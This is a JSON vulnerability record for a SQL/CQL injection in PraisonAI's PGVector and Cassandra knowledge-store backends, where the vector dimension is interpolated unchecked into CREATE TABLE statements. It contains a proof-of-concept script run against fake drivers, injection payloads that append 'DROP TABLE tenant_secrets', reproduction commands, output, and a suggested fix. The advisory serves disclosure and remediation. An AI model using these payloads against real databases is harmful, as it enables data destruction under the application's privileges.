{"id":"CVE-2026-60090","aliases":["GHSA-wf65-4jjx-q444","PYSEC-2026-4260"],"url":"https://o3.security/vulnerability/CVE-2026-60090","summary":"PraisonAI before 4.6.78 SQL/CQL Injection via vector dimension","details":"# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL\n\n## Summary\n\nThe PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {table} (\n        id VARCHAR(255) PRIMARY KEY,\n        content TEXT,\n        content_hash VARCHAR(64),\n        created_at DOUBLE PRECISION,\n        metadata JSONB,\n        embedding vector({dimension})\n    )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {name} (\n        id text PRIMARY KEY,\n        content text,\n        content_hash text,\n        created_at double,\n        embedding vector<float, {dimension}>\n    )\n\"\"\")\n```\n\nPassing a string such as `3>; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI's current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n    def __init__(self) -> None:\n        self.statements: list[dict[str, Any]] = []\n\n    def execute(self, statement: str, params: Any = None) -> None:\n        normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n        self.statements.append({\"statement\": normalized, \"params\": params})\n\n    def __enter__(self) -> \"SqlRecorder\":\n        return self\n\n    def __exit__(self, *_exc: object) -> None:\n        return None\n\n\nclass FakeConnection:\n    def __init__(self, recorder: SqlRecorder) -> None:\n        self.recorder = recorder\n\n    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:\n        return self.recorder\n\n    def commit(self) -> None:\n        return None\n\n\nclass FakePool:\n    def __init__(self, recorder: SqlRecorder) -> None:\n        self.conn = FakeConnection(recorder)\n\n    def getconn(self) -> FakeConnection:\n        return self.conn\n\n    def putconn(self, _conn: FakeConnection) -> None:\n        return None\n\n    def closeall(self) -> None:\n        return None\n\n\nclass FakeCassandraSession:\n    def __init__(self, recorder: SqlRecorder) -> None:\n        self.recorder = recorder\n        self.keyspace: str | None = None\n\n    def execute(self, statement: str, params: Any = None) -> list[Any]:\n        self.recorder.execute(statement, params)\n        return []\n\n    def set_keyspace(self, keyspace: str) -> None:\n        self.keyspace = keyspace\n\n\nclass FakeCluster:\n    recorder: SqlRecorder\n\n    def __init__(self, *_args: Any, **_kwargs: Any) -> None:\n        self.session = FakeCassandraSession(self.recorder)\n\n    def connect(self) -> FakeCassandraSession:\n        return self.session\n\n    def shutdown(self) -> None:\n        return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -> None:\n    psycopg2 = types.ModuleType(\"psycopg2\")\n    pool = types.ModuleType(\"psycopg2.pool\")\n    extras = types.ModuleType(\"psycopg2.extras\")\n\n    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]\n    extras.RealDictCursor = object  # type: ignore[attr-defined]\n    psycopg2.pool = pool  # type: ignore[attr-defined]\n    psycopg2.extras = extras  # type: ignore[attr-defined]\n\n    sys.modules[\"psycopg2\"] = psycopg2\n    sys.modules[\"psycopg2.pool\"] = pool\n    sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -> None:\n    cassandra = types.ModuleType(\"cassandra\")\n    cluster = types.ModuleType(\"cassandra.cluster\")\n    auth = types.ModuleType(\"cassandra.auth\")\n\n    FakeCluster.recorder = recorder\n    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]\n    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]\n\n    sys.modules[\"cassandra\"] = cassandra\n    sys.modules[\"cassandra.cluster\"] = cluster\n    sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -> str:\n    return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -> str:\n    try:\n        store.create_collection(\"docs; DROP TABLE blocked; --\", 3)\n    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.\n        return f\"{type(exc).__name__}: {exc}\"\n    return \"accepted\"\n\n\ndef run_pgvector(source_root: Path) -> dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_pg_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.pgvector\")\n    store = mod.PGVectorKnowledgeStore(url=\"postgresql://example.invalid/db\", auto_create_extension=False)\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3); DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef run_cassandra(source_root: Path) -> dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_cassandra_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.cassandra\")\n    store = mod.CassandraKnowledgeStore(hosts=[\"127.0.0.1\"], keyspace=\"praisonai_safe\")\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3>; DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--source-root\", type=Path, default=Path.cwd())\n    args = parser.parse_args()\n    source_root = args.source_root.resolve()\n\n    output = {\n        \"source\": {\n            \"repository\": \"MervinPraison/PraisonAI\",\n            \"head\": git_value(source_root, \"rev-parse\", \"HEAD\"),\n            \"describe\": git_value(source_root, \"describe\", \"--tags\", \"--always\", \"--dirty\"),\n        },\n        \"pgvector\": run_pgvector(source_root),\n        \"cassandra\": run_cassandra(source_root),\n    }\n\n    assert output[\"pgvector\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"cassandra\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"pgvector\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"cassandra\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"pgvector\"][\"malicious_contains_drop_table\"] is True, output\n    assert output[\"cassandra\"][\"malicious_contains_drop_table\"] is True, output\n\n    print(json.dumps(output, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## PoC\n\nSave the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\npython3 pov_vector_dimension_ddl_injection.py --source-root .\n```\n\nDecisive PGVector output:\n\n```json\n{\n  \"pgvector\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)\"\n      }\n    ]\n  }\n}\n```\n\nDecisive Cassandra output:\n\n```json\n{\n  \"cassandra\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)\"\n      }\n    ]\n  }\n}\n```\n\nThe local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector<float, 3>` without `DROP TABLE`, while malicious collection names are rejected before driver execution.\n\n## Impact\n\nThis is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -> int:\n    if isinstance(value, bool) or not isinstance(value, int):\n        raise ValueError(\"dimension must be an integer\")\n    if value <= 0 or value > 200000:\n        raise ValueError(\"dimension is outside the supported range\")\n    return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3>; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai >= 3.10.0, <= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector<float, {dimension}>`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`","published":"2026-07-11T13:01:00.392Z","modified":"2026-10-21T02:58:50.738662198Z","cvss":null,"epss":{"score":0.00702,"percentile":0.50472,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.6.78"}],"fix":{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","label":"MervinPraison/PraisonAI@3aa9cbc"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/60xxx/CVE-2026-60090.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60090"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"},{"type":"FIX","url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:50.738662198Z"}}